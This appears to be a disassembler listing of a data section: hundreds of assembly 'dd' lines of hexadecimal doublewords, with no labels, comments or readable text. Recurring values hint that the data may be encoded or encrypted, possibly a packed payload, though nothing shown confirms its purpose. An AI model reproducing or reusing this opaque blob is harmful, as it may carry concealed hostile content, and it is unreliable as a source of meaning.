		dd 1F90ED99h, 3D13720Ch, 32156C93h, 0B61A0688h,	32156644h
		dd 0E374B8A9h, 359169F1h, 52156688h, 52E7D94Bh,	0B7160743h
		dd 340178B8h, 32156D61h, 6F8F44h, 0E59E3F3h, 10CC92AEh
		dd 887590B9h, 29C64670h, 0B374A5A8h, 321562FDh,	1611EF88h
		dd 524B3E12h, 0AB08D944h, 0DB743846h, 3215669Ah, 72E18E75h
		dd 0AB2E4AFCh, 5224F397h, 0B22C0628h, 9F73FBD0h, 32156FCBh
		dd 34129011h, 0E85F3ABDh, 0D2D4EF34h, 32108F20h, 30A96611h
		dd 31BB764Eh, 26214BC1h, 3D759A24h, 32156394h, 3EFAD888h
		dd 37427A0h, 3D357D2h, 3D4306E1h, 32156606h, 851A3844h
		dd 52B807FAh, 321560F8h, 61E20888h, 6558D057h, 8B440779h
		dd 91B64D5h, 334CAEA1h,	30D1638Ch, 0CDEC5D2Ch, 0B14B4225h
		dd 3CFC624Ch, 53156644h, 0DD61888Ch, 0D24170BBh, 75E7BCF4h
		dd 93A8E56Fh, 3313722Fh, 3310E21Eh, 0DA756688h,	32156654h
		dd 0C14B091Dh, 1C12689Bh, 0FBD5750Dh, 65D40B7Bh, 3215E22Dh
		dd 0DB4D6611h, 3215669Ah, 68FBBA03h, 75AC884Fh,	5B01D029h
		dd 4FF617F6h, 974F047h,	26194BAFh, 0F6916917h, 0CB156688h
		dd 1B70EB7Fh, 0B61A6036h, 321566A6h, 32157761h,	0EBE1D944h
		dd 0ADEED200h, 177B7999h, 0F4E28D76h, 9E014B7h,	263E43AFh
		dd 0A6916917h, 52156688h, 321561ADh, 14134022h,	66375F43h
		dd 3215EF87h, 0BF746644h, 2E1150BFh, 3FFD0617h,	0B0156688h
		dd 2E3F643Ch, 11BDD80Bh, 8AD7750Eh, 0C0A03974h,	0CAC69925h
		dd 32118AA3h, 369C6611h, 0B61A39ACh, 32156651h,	321576CBh
		dd 41526C11h, 0F600E4E7h, 0CD3852C9h, 8CFF50F5h, 8F90EF7Ah
		dd 52137288h, 321569ADh, 7160AA22h, 0A37869B6h,	4D806A0Dh
		dd 0FBA9FBBAh, 321561CBh, 6A6C9711h, 2DC0EB7Fh,	12198F25h
		dd 3AFC6622h, 0BF156611h, 0F0CD03E1h, 0BFAD34BBh, 2E1150BFh
		dd 0E1EA9317h, 32157761h, 3BAE6B44h, 6D4AB10Ch,	0F06BAE46h
		dd 6F6FA43Dh, 8F96606Ch, 34016B83h, 54916911h, 0CB156688h
		dd 1838E37Fh, 0B61A6036h, 3215662Ch, 3212EC87h,	0B21A6644h
		dd 32156623h, 321B8FE9h, 6B876688h, 0C1095272h,	0D86543C2h
		dd 972CC9B9h, 3070E3B3h, 0B71A6050h, 3215660Fh,	32156AF8h
		dd 0EA2FF288h, 5F378F5h, 0EB310987h, 0CD108F23h, 20FC9977h
		dd 0FB156644h, 0A3571E60h, 3821923Dh, 3A5F7C62h, 75ABC8F5h
		dd 0BB905DC5h, 3D13720Ah, 32150B0Dh, 0BE1A0644h, 32156620h
		dd 0CC9F9E9Ah, 0FFA8E5E9h, 32137245h, 323AE22Dh, 0B31A6611h
		dd 3215669Fh, 0DB4E3424h, 3215662Ch, 0E87BDC2Dh, 45A0DF94h
		dd 0FD069C57h, 0B174ADEDh, 26158FACh, 0B61A668Eh, 3215666Eh
		dd 0CBC0EC42h, 3590EB70h, 52137DE5h, 32156BADh,	622D7722h
		dd 9329A81Ah, 0B78F8894h, 0B3734483h, 53FE72FAh, 0CDEB10F8h
		dd 0B72E9377h, 34017DCDh, 0CC7CE22Dh, 0BF1A99EEh, 32156689h
		dd 3AA8E5BDh, 33137D84h, 3254E31Eh, 9EC6688h, 29B35AC1h
		dd 6906924h, 52156611h,	32156A61h, 0B8227344h, 4A596778h
		dd 0DE9ACFCDh, 0BF749384h, 6B1E82C1h, 7BFC9A22h, 0DBEA99EFh
		dd 32156687h, 699ECA51h, 0FB4B2318h, 99E1876Ch,	34A7454h
		dd 0B97306BBh, 32188FE0h, 6F246611h, 66BB81E5h,	99FB89FCh
		dd 53BB1E3Ch, 3D9CDB92h, 3D15609Ch, 3205E9C0h, 3B906922h
		dd 52156611h, 0A9FEA737h, 5374062Dh, 943DE319h,	0B71A600Ah
		dd 32156693h, 5F90EDB1h, 0CB137228h, 0CDEADE41h, 0F53C9977h
		dd 0EC95061Ch, 37AE0072h, 9E90758h, 29B3560Dh, 19906942h
		dd 3D156622h, 3215679Dh, 0B79E9E88h, 34017D01h,	53E7ED42h
		dd 579CDD42h, 0B35E5683h, 3970E1AFh, 69CA6712h,	321563F8h
		dd 8C127888h, 0B72EA8BAh, 340EC00Eh, 3230E31Eh,	0B9E96688h
		dd 260F17C1h, 3A976924h, 3D156611h, 32156406h, 0CA740644h
		dd 3214DD71h, 0ED146611h, 887306D3h, 9742A7Ch, 29B352A7h
		dd 7F906917h, 3D156688h, 321567C4h, 0B79E9E22h,	34016F84h
		dd 3202E587h, 20FC6644h, 1156622h, 890A9D25h, 12F965FBh
		dd 7F88CF2Eh, 81863F9h,	33AC3796h, 33156688h, 0DBEC3F8Bh
		dd 32156636h, 0EA56BEDDh, 691D4248h, 66BAEBC5h,	0C76A1429h
		dd 0A48D17D4h, 942DE3B3h, 0B71A605Fh, 32156616h, 3214E11Eh
		dd 0B9E96688h, 2638ABC1h, 339C6924h, 0CE156611h, 7041DED8h
		dd 0E2E20AD0h, 2B7B340Fh, 7D4D536Dh, 0F51471DAh, 8C73061Ch
		dd 90AEF7C8h, 537F7C21h, 9429E3B3h, 0B71A605Fh,	32156630h
		dd 0AB90EDE8h, 0CB137283h, 3214DB11h, 0DD146622h, 0B72E9E4Ch
		dd 340EC0C8h, 325CE34Bh, 0B11A6622h, 3215661Dh,	32156161h
		dd 0DC92E644h, 801CFF1h, 2FC4E39Ah, 3CFC609Ch, 0B0156644h
		dd 87D682EDh, 0C4681AA8h, 2053D326h, 33AC3775h,	33156622h
		dd 3DFC3FDEh, 65156688h, 53F6D3C9h, 1701C4B2h, 2A7ACF6Dh
		dd 9E0EC8Ah, 29B322C1h,	5A906924h, 52156611h, 0B79E077Dh
		dd 34014981h, 32078F42h, 0EFB36611h, 0C9215505h, 3166DD5Bh
		dd 9B7F46CEh, 37CE2B8Ch, 3215E987h, 63746644h, 9567809Bh
		dd 3AF4A725h, 5B04AF09h, 0DB9406B5h, 0D5E68930h, 3D4CA938h
		dd 32156C05h, 0B71A0644h, 32156622h, 5274809Bh,	3211E887h
		dd 8B736644h, 0B21AA8A3h, 32156617h, 3215E787h,	9746644h
		dd 29B32EA7h, 2C906917h, 0CB156688h, 1DB4E3CFh,	63ED6036h
		dd 321567A8h, 6BDA6788h, 3212E24Bh, 0B21A6622h,	32156610h
		dd 7E905D70h, 3D137DE2h
		dd 321527A7h, 32018F11h, 26276688h, 309202F1h, 10DD9D4Dh
		dd 0D83B349Ch, 324EFFCEh, 0B79E7D53h, 34016507h, 3213E91Eh
		dd 81756688h, 537406C9h, 3214DD71h, 0ED146611h,	321D8FD3h
		dd 91EF6644h, 32B21805h, 0B72E64F2h, 340EC0DCh,	3254E34Bh
		dd 0B01A6622h, 32156618h, 0B11A9EE8h, 32156644h, 2390ED43h
		dd 0DB137208h, 3215668Eh, 0F4B6EDB0h, 8F403735h, 32156610h
		dd 3D488989h, 321561CDh, 33916922h, 0CE156611h,	0C09E00E8h
		dd 3215E54Bh, 9746622h,	29B33694h, 6990698Eh, 0CB156644h
		dd 304CDBA1h, 3D156005h, 32152B0Dh, 32138F44h, 377D6622h
		dd 100177ADh, 2070E303h, 3FFC6050h, 72156622h, 53278C83h
		dd 537F4ED9h, 0F4EF5ADDh, 3214DD71h, 0ED146611h, 0E69506D3h
		dd 32018E6Eh, 0CC4E6622h, 9A615750h, 0AC571901h, 0CDBA5843h
		dd 0C6C7331Bh, 6D425353h, 8F9607D2h, 34016485h,	59916922h
		dd 0C7156611h, 32156F61h, 0BB9CEC44h, 7FC7222Ch, 0B72E85FBh
		dd 340EC054h, 3245E34Bh, 0B11A6622h, 32156606h,	32157461h
		dd 0D181D844h, 0DC867B94h, 0EA6463D6h, 0EA0C8126h, 0B978F902h
		dd 26139FA7h, 0B11A0617h, 3215668Dh, 7AF4E722h,	8F400767h
		dd 32156610h, 0DB488989h, 32156656h, 71F7AE19h,	1DA2FFFBh
		dd 30F8A989h, 2DF6AD89h, 8F96EEF1h, 34017000h, 27916988h
		dd 0CE156646h, 6C4DBA1h, 3D156005h, 3217610Ch, 32058F44h
		dd 0FACD6622h, 6DC39768h, 0EF173BCCh, 0D2440FF5h, 0B72ECC71h
		dd 340EC0D1h, 3254E387h, 0B9E06644h, 261867A7h,	3E926917h
		dd 3D156688h, 321560CFh, 329B6922h, 62156611h, 32156730h
		dd 6AD26744h, 2A9169DBh, 0DB156611h, 3215669Bh,	2CBFC17Ch
		dd 5D7BEF8Bh, 7C1D2786h, 532595E4h, 9230323h, 29B3B6A7h
		dd 0C906917h, 52156688h, 32996924h, 54156622h, 53A7F1A8h
		dd 53CCEDEEh, 12A0E3CFh, 39FC6036h, 1B156611h, 9E77B678h
		dd 734D35EAh, 8B445069h, 0CDEA99EEh, 0DB4CA9A1h, 3215664Ch
		dd 0E2B9CA0Ah, 1B3AC9BFh, 0F6905D70h, 3D137DE2h, 32152DA7h
		dd 32068F11h, 0C0106688h, 0E3DBA01Ch, 6C04C0ABh, 0FAA544ECh
		dd 5FD88249h, 6F90ED13h, 0DB137207h, 32156619h,	64B14B0Bh
		dd 81C73C41h, 635CDC70h, 0D0942135h, 47E731D7h,	0B3178485h
		dd 0DE2215D0h, 0C0942C4Dh, 8587EB21h, 0CE4FB16Dh, 94C1E319h
		dd 0B71A600Ah, 321566B8h, 0C390EDB1h, 52137238h, 321568F9h
		dd 0E30ED988h, 7FE39C88h, 39DD9C64h, 3DBEF277h,	0B34EB637h
		dd 50A55494h, 88470757h, 0CDEA99EEh, 0CA4FB1A1h, 94CDE37Fh
		dd 0B71A6039h, 32156657h, 32108EE8h, 3C896644h,	0B98EACA3h
		dd 88753EC1h, 11864FD7h, 53743917h, 3BACE3A9h, 0BA1A6005h
		dd 3215668Dh, 0C8A39E24h, 33A83343h, 33156611h,	0DB753B67h
		dd 3215664Eh, 0EB0E2180h, 0D8D21B2Eh, 0D4957A9Dh, 0B72E075Ah
		dd 340EC0EAh, 3228E31Eh, 3FFC6688h, 91156644h, 0E07A255Fh
		dd 7B0728A7h, 7690FF00h, 36ACE3CFh, 0B3756036h,	0CD1A1FE1h
		dd 3191699Dh, 54156644h, 6374A9A9h, 0CDEA99A8h,	6BDA4F77h
		dd 31906924h, 3D156622h, 97490AEh, 29B3AA0Dh, 13906942h
		dd 0CA156622h, 3CC8E39Ah, 0BD1A609Ch, 3215664Ch, 54DBED42h
		dd 5358BCAFh, 3214DFD9h, 0FD146644h, 53EC067Bh,	6C4DB92h
		dd 3D15609Ch, 321FF9C0h, 0B3730622h, 526097DFh,	32157760h
		dd 38C7FD44h, 4CEB887Ah, 3FA25129h, 0BED739ECh,	3D4ABA5Eh
		dd 321566ABh, 9740711h,	29B33E0Dh, 0C906942h, 3D156622h
		dd 32156793h, 0B79E9E88h, 340177DDh, 0CDA833DEh, 1BEA99EEh
		dd 0BC1A3B67h, 3215664Bh, 32156CCBh, 0EE11h, 893E097Ah
		dd 3D81E23Bh, 32156AA8h, 34946911h, 3D156688h, 321566C6h
		dd 0DE905D22h, 3D137DB7h, 3215520Dh, 0B79E9344h, 3401736Bh
		dd 3205E71Eh, 39FC6688h, 9D156644h, 4E05C215h, 9FB04B7Bh
		dd 0CD429C50h, 0E9E4240h, 36D1E706h, 52156611h,	6C5FD9EEh
		dd 278ED922h, 6E905D43h, 3D137DB7h, 32152B0Dh, 3C976944h
		dd 52156622h, 321560F9h, 56CB6E88h, 6D212F72h, 3B90ED43h
		dd 0DB137221h, 3215668Fh, 0E6B7C42h, 64A345D3h,	321567AFh
		dd 6CE26788h, 23FC3424h, 20156622h, 6241205Eh, 56164D9Fh
		dd 2655EC81h, 393E3921h, 0F2A2694Eh, 0B72E9AE9h, 340EC024h
		dd 3241E32Dh, 22FC6611h, 0AE156688h, 957B573Fh,	0CB1B312h
		dd 69FD183Fh, 0DB8EE729h, 3215664Dh, 8DB1D297h,	0E83613BDh
		dd 9790ED37h, 3D13724Dh, 321561A6h, 0F39E0611h,	53CAEDEEh
		dd 88AB30B8h, 7447A67Ch, 93519090h, 0C53CCBB7h,	3592691Ah
		dd 3D156622h, 32156799h, 0B72E9F88h, 340EC020h,	3245E32Dh
		dd 3D756611h, 2A5BD3Fh,	0F390ED25h, 0DB137212h,	32156616h
		dd 4CA7C29h, 0DBB08426h, 32156631h, 27DA5FB8h, 0B3CFE367h
		dd 5F9C905Ah, 0AE2FBB9h, 61C348D7h, 0CDEA9933h,	69CA4FBBh
		dd 321577CBh, 3727E011h, 5369FBB6h, 0BBC8ACBFh,	0F2E3D138h
		dd 0B72E0C83h, 340EC0E0h, 3283E34Bh, 3BFC6622h,	0E1156611h
		dd 5C629C27h, 24E3F349h, 304CDBA1h, 3D156005h, 32151D0Dh
		dd 2A926944h, 3D156622h, 32157490h, 32188F88h, 1F76644h
		dd 491C4881h, 318BC03Dh, 0B92E25E1h, 260A43C1h,	0B3730624h
		dd 52BC53C2h, 537407E8h, 321572ADh, 0FD675D22h,	0F6420D45h
		dd 2BF1BBCFh, 3A22156Bh, 34A76D36h, 4BAB301Bh, 0F31B54F8h
		dd 0DCC463A2h, 0C494B8D5h, 5CED2849h, 14E3E7C6h, 33E746F2h
		dd 0B21A38D5h, 32156601h, 32156D61h, 35A4B544h,	4172A9B9h
		dd 30EEBF1Eh, 9479E3B3h, 0B71A605Fh, 3215664Ch,	32156AF8h
		dd 0E5C61A88h, 0E0DF08EEh, 829214A1h, 32018FB6h, 157C6688h
		dd 0FE12510h, 0BEDC5927h, 29B8403Ah, 52DCCD67h,	0B79E10CCh
		dd 34016B67h, 321561F8h, 1EB71E88h, 0A6DB55DBh,	3200EE2Dh
		dd 22FC6611h, 6F156688h, 0C05DC2EBh, 871F07FFh,	22A106Bh
		dd 3DD4155h, 3EC578Bh, 0FD9227EDh, 32156FF8h, 0A6437388h
		dd 28B5FCDFh, 0B72E072Ah, 340EC061h, 3250E387h,	0BA1A6644h
		dd 3215662Fh, 32156EF8h, 47C02588h, 88193296h, 6BA8E5FCh
		dd 32137213h, 3230E387h, 3BFC6644h, 2A156622h, 0AA660410h
		dd 6AFB2C70h, 1D8E3CFh,	0B31A6036h, 32156610h, 0CDAC3771h
		dd 1BEA99BBh, 9E93FEDh,	29B31294h, 6390698Eh, 3D156644h
		dd 321579A2h, 20FC0611h, 95156688h, 14736EDh, 2A84F031h
		dd 13A3A995h, 0DB87BF4Ch, 329F698Ah, 53156622h,	1D4E39Ah
		dd 22FC609Ch, 2D156644h, 95152D09h, 0E07E37B3h,	0D4EA10B2h
		dd 63FA8042h, 0CDEA999Bh, 6BDA4FEEh, 0CBAA69E8h, 53CFD14Bh
		dd 946DE319h, 0B71A600Ah, 321566A2h, 0C9A26924h, 0B974A8A9h
		dd 2609B394h, 321D8F8Eh, 8E806644h, 11800EA3h, 88471B2Bh
		dd 32156689h, 3D4FB145h, 321567A7h, 0B72E9A11h,	340EC008h
		dd 3252E34Bh, 0B2756622h, 3D7461CAh, 32156E0Fh,	30996944h
		dd 52156622h, 6BA8E570h, 3213728Ah, 3232E34Bh, 0B9ED6622h
		dd 26383F94h, 321E8F8Eh, 0D9E76644h, 81AF3D29h,	38B64958h
		dd 0CDAE3587h, 1BEA99BBh, 0BF1A3DFDh, 32156610h, 4E905D74h
		dd 3D137DE2h, 321538A7h, 26906911h, 52156688h, 32156AACh
		dd 731ED22h, 1EB71E33h,	0A6DB5517h, 0B1743DB7h,	26173F9Fh
		dd 0B71A6617h, 321566BFh, 321576ADh, 1AE93322h,	0E816477Eh
		dd 0B0F2F717h, 0C22D5799h
		dd 0CB90ED6Bh, 5213721Fh, 54EEEDEEh, 65749FCFh,	0B93162DDh
		dd 0F696422Dh, 8D1A068Ch, 4AD9D992h, 9744CF3h, 29B3E294h
		dd 7A90698Eh, 52156644h, 321575CAh, 1E88C811h, 9E79A708h
		dd 188C21D4h, 0D21CC363h, 0A094608Ah, 32048FD2h, 147C6644h
		dd 0EDC900A1h, 2D73A289h, 0FCB88DF4h, 534CDBEAh, 1F38E3A9h
		dd 0BB1A6005h, 32156689h, 33AD36BDh, 33156622h,	9EC3ED6h
		dd 29B3EE0Dh, 72906942h, 0CE156622h, 3EB8E39Ah,	0B11A609Ch
		dd 3215665Bh, 329E6942h, 0DB156611h, 3215669Ah,	7A6AA907h
		dd 8AC6A9E5h, 0CC2F6CF5h, 37487F9Ah, 6574A35Bh,	71317AA5h
		dd 6D317A96h, 32156061h, 3BDF1944h, 9E5F5DDh, 29B3EA94h
		dd 0E90698Eh, 52156644h, 3216E42Dh, 0B9736611h,	0EC940043h
		dd 0B9742CD9h, 26246BA7h, 339D6917h, 0CA156688h, 27DBD812h
		dd 0B3537C75h, 751C66F7h, 56FBE7D7h, 74020336h,	0AFFBE764h
		dd 3317879Fh, 9EC387Fh,	29B3F6C1h, 1D906924h, 3D156611h
		dd 3215670Ch, 0B9E99344h, 26119FA7h, 22FC9E17h,	7F156688h
		dd 0CB7191ADh, 0E661FBE4h, 69615C99h, 6386B9D5h, 0CDEA99FDh
		dd 6BDA4FDDh, 0B72E9FE4h, 340EC01Ch, 3257E34Bh,	88756622h
		dd 19248B9Ch, 9DB52331h, 0B79E0762h, 340156CBh,	3202E71Eh
		dd 0DB756688h, 32156654h, 0E0B216BAh, 0A1A2A2Fh, 169E126h
		dd 0E7AC1AD1h, 33AD3643h, 33156611h, 37FC3E4Fh,	27156644h
		dd 66FF4288h, 948DE32Ah, 0B71A6093h, 32156623h,	321576CBh
		dd 9CCB9411h, 55B3385h,	9E2327B9h, 16D2F00h, 26FD06A0h
		dd 0BB156688h, 233F2F70h, 0E58EC938h, 76F30B93h, 8AE743E2h
		dd 3D7A63A9h, 0B94DAE95h, 0B79E07DAh, 34017D31h, 0F09E0024h
		dd 53D5D92Dh, 3214DD42h, 0ED146688h, 851A061Fh,	321F8EF4h
		dd 26C96611h, 9A3AEEC7h, 0B5468D3Eh, 0B7DFE744h, 9743E9Ch
		dd 29B3FA0Dh, 70906942h, 52156622h, 319469EDh, 0B2156688h
		dd 0CB743986h, 39A8E3A9h, 26FC6005h, 7C156688h,	65DFF3CDh
		dd 337E22Fh, 96294586h,	0B031A40Fh, 62AC57A8h, 0CDEA999Ah
		dd 6AD24FEEh, 32156E61h, 1D673D44h, 0E93210F0h,	92905D26h
		dd 3D137D2Eh, 321522C1h, 32068F22h, 0A84C6611h,	0E3492C1Eh
		dd 0A5AF914Bh, 9296AEC0h, 0F9A083BCh, 1B90ED63h, 0CA137243h
		dd 3214DC70h, 0E5146611h, 32058FD2h, 0E3136644h, 7E35D8D3h
		dd 8CC19458h, 9E0C8525h, 0BD1AFE4Bh, 32156623h,	27905DE4h
		dd 3D1372ADh, 32155EC1h, 3F916922h, 0DB156611h,	32156680h
		dd 7B02E8B8h, 34213679h, 1D80E39Ah, 67E9609Ch, 174AAAF9h
		dd 0F9F8E770h, 3347434Eh, 38FC3B67h, 19156644h,	0FB18BC9Bh
		dd 0A3571E53h, 96905DA4h, 3D137DE2h, 321530A7h,	3F976911h
		dd 52156688h, 3215ED4Bh, 0B3736622h, 535C32E1h,	23FCE303h
		dd 0B01A6050h, 32156635h, 321574F8h, 74951D88h,	29708C33h
		dd 7DAB8005h, 6EA2E603h, 60127144h, 0CDEA99FEh,	68C24FDDh
		dd 321574F8h, 0D5924988h, 3F82ED2Ch, 0F9176D66h, 35EE9ADFh
		dd 95C3B7Dh, 29B386C1h,	40906924h, 0DB156611h, 3215668Eh
		dd 24B6BDC7h, 8F96B7F1h, 340EC0F9h, 1D906988h, 0DB156644h
		dd 3215662Ah, 0DCE1F860h, 3B875F6Ah, 3FB4DBC7h,	3D156036h
		dd 32152695h, 3D9C6988h, 0DB156644h, 32156628h,	83B1E0E7h
		dd 5893223Ah, 0B79E765Bh, 34016F5Fh, 321568F8h,	4B282688h
		dd 8CDC57D8h, 10FA3A6Ah, 64EA0AEBh, 32156736h, 6CE26744h
		dd 3216E32Dh, 0CE756611h, 0D6905DE9h, 3D137DE2h, 3215E0A7h
		dd 32068F11h, 20106688h, 35B0F94Ah, 0C56775EDh,	18E8F056h
		dd 0D3B37F85h, 0DAA8E50Bh, 32137D84h, 3255E31Eh, 0BC1A6688h
		dd 32156643h, 3214E32Dh, 0B1EC6611h, 2618C735h,	0B61A6642h
		dd 32156665h, 3212EF1Eh, 0B51A6688h, 32156645h,	3CFC06D7h
		dd 0D1156611h, 0F218BD9Dh, 0B5A4D47h, 0EC6E9527h, 0ABAC00E4h
		dd 0B79E0768h, 34014829h, 3214E62Dh, 63EC6611h,	0CDEA9931h
		dd 6BDA4FBBh, 9EAB0042h, 8D1A37D0h, 9743C41h, 29B3CEC1h
		dd 11906924h, 0DB156611h, 32156683h, 2D7A4009h,	0D53264ADh
		dd 0B97B88D9h, 26168B0Dh, 65E09A42h, 0B93162DDh, 0F696422Dh
		dd 0B72E9E8Ch, 340EC0E8h, 327CE32Dh, 3CFC6611h,	0B0156688h
		dd 6D61784Bh, 0F69630h,	80BDF191h, 8B90EDDDh, 0DB13724Ah
		dd 32156633h, 0E88EB234h, 8844E5CFh, 54A50665h,	0D2420111h
		dd 3A936908h, 3D156688h, 321564C5h, 60740622h, 2B2EFBABh
		dd 0D8FFE78Ch, 0B32A6D13h, 0D44F64C8h, 0D0942C52h, 479E496Dh
		dd 0D8948495h, 3013751Dh, 524FB110h, 1B59DE71h,	9742690h
		dd 29B3D6A7h, 57906917h, 3D156688h, 32157FC4h, 21926922h
		dd 0DB156611h, 32156686h, 6CD4A416h, 0C5D3658Fh, 94A78DAAh
		dd 0B79EEABCh, 34017FC5h, 3214EE2Dh, 63E96611h,	0B53C3131h
		dd 31FCA71Fh, 18FCE763h, 331E16F4h, 0B41A3F47h,	32156649h
		dd 32156ECBh, 7432DD11h, 78FED574h, 321B8F5Bh, 0F1C06622h
		dd 49617CA5h, 642ACA21h, 0DE1D59FAh, 94A1E319h,	0B71A600Ah
		dd 32156694h, 0AF90EDB1h, 5213723Dh, 0B3C5D11Eh, 0D309E140h
		dd 88470746h, 0CDEA99DDh, 0CB4FB138h, 94ADE3B3h, 0B71A605Fh
		dd 32156619h, 6F90EDE9h, 5213729Bh, 534A3524h, 321563CBh
		dd 39DB4611h, 6374AAB4h, 875E8AFDh, 0DFFCE75Ah,	1B6DD35Ah
		dd 22FC3F47h, 6D156644h, 0E3FDE201h, 1EDB1D92h,	0A0FEBD03h
		dd 9180B97h, 29B3DAA7h,	67906917h, 0DB156688h, 32156643h
		dd 9B542040h, 0B9E5FD2Bh, 2604FF0Dh, 32198F42h,	12DB6622h
		dd 36C7A3EDh, 85748687h, 884759C3h, 32156623h, 3D4FB110h
		dd 32156D06h, 8D730644h, 78AA7B21h, 535E03C3h, 32157561h
		dd 7875DD44h, 0C4BDDDC4h, 0FF3CEB32h, 0FF280AE8h, 0D2CD05E8h
		dd 0B61A9929h, 32156602h, 3214E087h, 0DBED6644h, 0CDEA8B4Eh
		dd 3214E41Eh, 9EC6688h,	260413C1h, 26906924h, 0CE156611h
		dd 162CE305h, 0DBED605Fh, 0CDEA8B6Eh, 3214EE1Eh, 9EC6688h
		dd 260B93C1h, 98906924h, 3D156611h, 32156A0Eh, 349A6944h
		dd 3D156622h, 32156694h, 3A9E6988h, 52156644h, 8DEDEh
		dd 0B1745CB6h, 29B36E35h, 0B71A6742h, 3215665Fh, 3232EA1Eh
		dd 0DB756688h, 3215664Bh, 6D24100h, 595C616Eh, 780E24E2h
		dd 0DA10ADEBh, 32156629h, 800C57DDh, 58399974h,	6B07E239h
		dd 0B7989E43h, 324C6D76h, 32156361h, 92DEAA44h,	0FBFC5607h
		dd 3DEA99FDh, 32157300h, 32058F44h, 75156622h, 5CCB5418h
		dd 5B873F7Eh, 0FE34C78h, 5475BCBDh, 0DB9041AEh,	3215669Ch
		dd 0BD305F6Bh, 0B96A6E0Ah, 631CF2DDh, 2A790B88h, 0D51053DDh
		dd 2A905D43h, 3D137DB7h, 3215360Ch, 32108F44h, 2A056622h
		dd 96D75ACh, 29B37A0Dh,	72906942h, 3D156622h, 32157B99h
		dd 25956988h, 0DB156644h, 32156630h, 7E19E09Fh,	0B16089Dh
		dd 0F045DFD5h, 87B59D65h, 20FC0E09h, 22156688h,	733A53Bh
		dd 0D366EDEh, 0ACA93AD6h, 0F4A28CD1h, 0DE3B8FF7h, 8CE999DDh
		dd 4D8761BCh, 49B78809h, 0FC940EC8h, 8DF5D7Ah, 651388D0h
		dd 0E706C837h, 6DEB6F05h, 0DEA88A3h, 0B61A27EEh, 3215668Fh
		dd 3214ED4Bh, 0B1EC6622h, 0B71A67EFh, 321567A2h, 321FE54Bh
		dd 37FC6622h, 3C156611h, 0BFD525h, 9419E37Fh, 0B71A6039h
		dd 32156674h, 3202E587h, 20FC6644h, 31156622h, 5383A77h
		dd 19733E9Ah, 1C2144h
		dd 6BE308FCh, 0F690EB83h, 0C7153E0Fh, 0CDFEC9ADh, 32AD06DDh
		dd 0DB5EB91Eh, 3215669Ah, 3A47C95Fh, 8EEE258Bh,	3C9D4E1Eh
		dd 16763E9Dh, 52749A09h, 584D99Dh, 321B8E3Fh, 0F1DF6688h
		dd 397B8BC7h, 0C66A0DBEh, 69C7908h, 6CF09308h, 22905D25h
		dd 3D137D84h, 32152F94h, 0ED9E0688h, 890EB25h, 52153EAAh
		dd 321575F8h, 0B9FCCF88h, 0F1509742h, 46BA4B06h, 0F85B982Fh
		dd 0B9E167BAh, 32156EADh, 0CAD0C422h, 544E61E0h, 3FC072Ch
		dd 52EA99AFh, 3217EA2Dh, 6C436611h, 0BF1A9AE8h,	32156644h
		dd 0B72E0743h, 340EC005h, 325DE387h, 37FC6644h,	70156622h
		dd 9803BE58h, 0BA6AE305h, 0CB75661Ch, 321569CBh, 31139B11h
		dd 34F60259h, 9637CF5Dh, 0A2A695FFh, 0D8F38F70h, 8B759977h
		dd 17E40178h, 53E2ED44h, 0A1AD0071h, 8D73061Ah,	0BD1A5919h
		dd 32156622h, 60450770h, 82606132h, 1641675Fh, 1F4D3C26h
		dd 29A51316h, 32156B61h, 5C173244h, 9765B10h, 0ADEC19D7h
		dd 5AE0C06Eh, 321529DDh, 5A316AABh, 0A071584h, 0A5E4E7D1h
		dd 0BB2D7437h, 0DBEC3FECh, 3215661Bh, 8B7E30DAh, 7E0A10DEh
		dd 0C41E601Ch, 322BE31Eh, 23FC6688h, 1156644h, 13338117h
		dd 0BE3AAA85h, 0ABC3959h, 3755C77Ch, 3200E52Dh,	22FC6611h
		dd 65156688h, 9F037300h, 6C947CA9h, 1408FDFCh, 0DB58B077h
		dd 0CDEA8C5Bh, 53E90642h, 0CA74A89Ah, 1639E7D8h, 675A5488h
		dd 7CAD367Ch, 722E9503h, 0F31D8E49h, 3A2064ACh,	334027ECh
		dd 0BBE03ED7h, 263B3F3Dh, 32138F42h, 0BABF6622h, 9C99D031h
		dd 177CD301h, 3D756050h, 58A6BD95h, 23FC0670h, 0E3156688h
		dd 0F0A7E90Bh, 0FBFFB5C3h, 0BA229590h, 23416BAFh, 321575ADh
		dd 7A1F0422h, 616213F9h, 0BAE6A21Bh, 9849F357h,	0FE12EAC7h
		dd 0DB2BE670h, 32FCE387h, 0B9756644h, 29F6E6D1h, 337D3570h
		dd 69156688h, 99E9545h,	0B3730679h, 52167ED0h, 8BC6EDEEh
		dd 4EE9EA63h, 0DD940743h, 50994B9Fh, 735EA109h,	0C5147E08h
		dd 735E89A3h, 0F5947E5Dh, 50994B06h, 269069BDh,	52156622h
		dd 32156DF8h, 8AB34888h, 3C904D05h, 0B556F32Ah,	0B1740771h
		dd 1E9C6264h, 0BBE0EF60h, 3CFC3BC9h, 73156611h,	0D390C202h
		dd 4892AA28h, 17088E02h, 32AA31FAh, 0B31566C8h,	201CE6AFh
		dd 0B3EE675Ch, 201CE6D2h, 0B21A39F6h, 32156649h, 0DC940042h
		dd 0BD1A4240h, 32156688h, 6BA85D25h, 3D13720Ch,	32157193h
		dd 3A9C6988h, 3D156644h, 321564A3h, 9740611h, 1A936973h
		dd 0CA156644h, 0CDFDBCCBh, 21FC06EEh, 6E156688h, 27138111h
		dd 0D47A51C2h, 8A43C7E7h, 2D1C4C19h, 3D4699BDh,	321566AFh
		dd 0B9743811h, 2604F735h, 239F6942h, 0DB156622h, 3215661Dh
		dd 99D24285h, 27FB97E5h, 4EA209Ah, 1870E3D6h, 3215609Ch
		dd 52E06644h, 5BA0EFDAh, 0DB137234h, 32156681h,	0E11AEBA5h
		dd 502E19DAh, 7188EB64h, 0C7137AA3h, 39E0B5BBh,	1D9169E2h
		dd 52156611h, 3217EC87h, 0ADA56644h, 19AA0042h,	32188F14h
		dd 0E8EF6688h, 0ACB23A44h, 0B9FB69F0h, 538F20FCh, 32B68FE9h
		dd 54756644h, 733D86A3h, 0AF9807E8h, 340CFD19h,	0BA1A0624h
		dd 32156622h, 3215E31Eh, 3D746688h, 321563CCh, 0C2940022h
		dd 0CD745F92h, 0B096695Bh, 0DBEA99BBh, 32156625h, 924751FCh
		dd 0CEB5A22Ah, 177CD3CFh, 21FC6036h, 4E156611h,	507B1400h
		dd 0B330B52Eh, 0AB40B015h, 76E2AF99h, 879CA4BDh, 34014C21h
		dd 0F49E0042h, 93DFE777h, 0AF980745h, 340FC763h, 321575CBh
